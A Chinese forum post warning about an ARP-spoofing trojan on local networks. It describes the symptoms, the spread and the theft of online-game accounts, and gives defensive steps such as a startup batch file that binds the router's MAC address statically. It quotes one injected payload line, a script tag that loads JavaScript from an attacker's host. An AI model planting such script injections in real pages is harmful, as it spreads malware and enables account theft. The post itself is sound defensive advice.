ARP病毒警告！！！！

颐风电脑

最主要的表现行为就是一会儿能上网一会儿又上不了，重装系统和割了硬盘都没有用，因为病毒是在局域网里面。

该木马的危害行为：

1.通过网页漏洞传播：该病毒通过植入网站上的一句JS脚本，导致有XML等漏洞的机器中招，成为此ARP病毒的传播源

2.ARP攻击篡改局域网数据包，一台电脑中招，局域网内的所有用户均遭殃：该病毒在整个局域网用户上网的网页中增加"<script
src=http://9166.biz/w.js></script>"等内容，从而使局域网内有XML漏洞的电脑同时感染此病毒。

3.查杀困难，整个网络不时掉线：由于遭受攻击的局域网一般都是多台电脑感染，同时发起ARP攻击，因此整个局域网很不稳定，时常掉线甚至瘫痪。而且由于机器之间互相感染，因此彻底查杀及恢复非常困难。

4.后台下载多个热门游戏木马：该木马会自动到网上下载梦幻、征途、江湖、魔域、武林外传、奇迹世界、天龙八部、传奇世界、完美国际、风云、魔兽、江湖、QQ幻想等十多款网络游戏木马，偷窃用户游戏帐户。


解决办法：
1、安装奇虎360，更新到最新版本，漏洞补丁全打齐，然后打开ARP病毒防护，开机以后电脑屏幕右下角会出现一个ARP的防火墙。
2、专杀工具下载：http://bbs.360safe.com/viewthread.php?tid=213983
3、在dos中执行两行代码

运行里面输入CMD进入DOS

ping 192.168.1.1(比如说你的路由器地址是192.168.1.1)
ARP -A
然后用笔记下~~~192.168.1.1 00-0a-eb-c3-18-b0（第一项）

关闭窗口
在硬盘中新建一个记事本
在记事本中编写下面一段代码

@echo off

arp -d

arp -s 192.168.1.1 00-0a-eb-c3-18-b0（这一段就是刚刚我们抄下的那一段）

并且保存为一个*.bat文件

在运行中输入 gpedit.msc,在计算机配置，Windows设置，脚本（启动/关机），启动，双击启动－》添加 －》浏览（找到你保存的*.bat）－》确定－》确定

大功告成！望各位兄弟姐妹可以免受ARP的骚扰。：）

痛苦的业主

很多人中招了，痛苦啊，我还好不是其中一个，但是是连带受害者

冰河

有心了！

^shine

查资料突然掉线，再也上不去了，担心中招了。

颐风电脑

中招的朋友一定要断网杀，或者到安全模式去杀啊，不然没有用的